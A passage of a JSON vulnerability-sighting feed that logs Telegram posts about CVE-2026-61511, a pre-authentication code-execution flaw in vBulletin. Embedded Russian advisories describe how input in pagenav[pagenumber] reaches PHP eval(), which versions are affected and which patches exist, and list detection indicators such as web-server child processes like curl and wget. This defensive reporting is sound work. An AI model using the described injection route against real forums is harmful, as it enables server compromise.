\u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95609", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T01:00:07.868Z", "date_only": false, "value": "2026-07-30T01:00:07.868431Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Ig8EiCACgPrEXQ5i-DIyVp_2gol1J9_WigCZpGPavBW5BRY", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "9b8104d8-fc93-45b1-8ccd-71239d0b720e", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T06:00:04.316Z", "date_only": false, "value": "2026-07-30T06:00:04.316700Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/783", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "22b2110f-6c0a-47ff-a952-d03d907b36d4", "content": "vBulletin: \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-61511\n\nSSD Secure Disclosure \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-61511 \u0432 vBulletin. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 9,8 \u0431\u0430\u043b\u043b\u0430 CVSS 3.1 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 6.2.1 \u0438 \u043d\u0438\u0436\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0442\u043a\u0443 \u0434\u043e 6.1.6.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u0445. \u0418\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 PHP eval() \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 ajax/render/pagenav.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0444\u043e\u0440\u0443\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u044b \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 vBulletin 6.2.2. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav. \u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c pagenav[pagenumber].\n\n#vBulletin #CVE202661511 #RCE #PHP\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/783"}, {"timestamp": "2026-07-30T10:00:02.463Z", "date_only": false, "value": "2026-07-30T10:00:02.463132Z", "kind": "sighting", "label": "Seen", "source": "Telegram/A5dzmxNNpgXG6imsEkmIRw7rqHzvuUDwkzq5yMgxpcxN0a0", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fb169f07-6d2e-44a3-9a03-adeb748454a4"}, {"timestamp": "2026-07-31T00:00:34.701Z", "date_only": false, "value": "2026-07-31T00:00:34.701323Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/A5dzmxNNpgXG6imsEkmIRw7rqHzvuUDwkzq5yMgxpcxN0a0", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "a98b75d5-39b5-4315-8cdd-0fcd59cc49aa", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T00:00:39.459Z", "date_only": false, "value": "2026-07-31T00:00:39.459217Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ZerodayAlert/783", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "1ddfd7e7-0550-46e3-b706-a5e07b85aac3", "content": "vBulletin: \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-61511\n\nSSD Secure Disclosure \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-61511 \u0432 vBulletin. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 9,8 \u0431\u0430\u043b\u043b\u0430 CVSS 3.1 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 6.2.1 \u0438 \u043d\u0438\u0436\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0442\u043a\u0443 \u0434\u043e 6.1.6.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u0445. \u0418\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 PHP eval() \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 ajax/render/pagenav.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0444\u043e\u0440\u0443\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u044b \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 vBulletin 6.2.2. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav. \u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c pagenav[pagenumber].\n\n#vBulletin #CVE202661511 #RCE #PHP\n\n@ZerodayAlert", "url": "https://t.me/ZerodayAlert/783", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-04T13:00:18.890Z", "date_only": false, "value": "2026-08-04T13:00:18.890825Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberok_news/241", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "545cd50b-b4b0-4cb6-bf5d-19b105ad43f0", "content": "\u26d4\ufe0f Pre-Auth RCE \u0432 vBulletin \u0447\u0435\u0440\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0437\u0430\u0442\u043e\u0440\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-61511 \u0432 vBulletin \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u2014 \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 27.07.2026 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043d\u044f-\u043d\u0430\u0447\u0430\u043b\u0435 \u0438\u044e\u043b\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 (Pre-Auth RCE).\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u044b\u0435 \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u044f\u0446\u0438\u0438 vBulletin \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0437\u0432\u043d\u0435. \u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u0440\u0438\u0441\u043a \u2014 \u0443 \u0444\u043e\u0440\u0443\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.2.2. \u0414\u043b\u044f vBulletin Cloud, \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u044b \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e.\n\n\ud83e\udde0 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 vBulletin, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 vB5_Template_Runtime::runMaths() \u0432 \u0444\u0430\u0439\u043b\u0435 /includes/vb5/template/runtime.php.\n\n\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0433\u0430 {vb:math} \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432 PHP-\u0444\u0443\u043d\u043a\u0446\u0438\u044e eval(). \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b. \u041e\u0434\u043d\u0430\u043a\u043e \u0444\u0438\u043b\u044c\u0442\u0440 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c: \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 phpfuck, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PHP-\u043a\u043e\u0434 \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 ajax/render/pagenav, \u0433\u0434\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 pagenav[pagenumber] \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 {vb:math}. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 PHP-\u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f vBulletin.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: vBulletin 5.x \u0434\u043e 5.7.5 \u0438 6.x \u0434\u043e 6.2.1.\n\u2022 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e: vBulletin 6.2.2; \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f 6.2.1, 6.2.0 \u0438 6.1.6.\n\u2022 \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \n\ud83d\udd3b \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 (CVSS 3.1: 9.8 / CVSS 4.0: 9.3.)\n\u2022 \u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e ajax/render/pagenav.\n\u2022 \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 pagenav[pagenumber], \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u0438\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0441\u043a\u043e\u0431\u043e\u043a \u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432\u0440\u043e\u0434\u0435 ^.\n\u2022 \u041e\u0448\u0438\u0431\u043a\u0438 PHP \u0438\u043b\u0438 vBulletin, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eval(), {vb:math}, runMaths() \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432.\n\u2022 \u041d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u043f\u0443\u0441\u043a sh, bash, curl, wget, php, python, perl.\n\u2022 \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, webshell, \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u043b\u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 vBulletin \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.2.2 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\n2. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0439 \u0432\u0435\u0442\u043a\u0438. \u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f 6.2.1, 6.2.0 \u0438 6.1.6.\n\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 vBulletin.  \n\u0414\u043b\u044f 5.x \u0438 \u043d\u0435\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0442\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0431\u044b\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u2014 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 vBulletin \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a ajax/render/pagenav \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f pagenav[pagenumber] \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043d\u0446\u0430 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 PoC 27.07.2026.\n\n5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 WAF \u043a\u0430\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0440\u0443: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 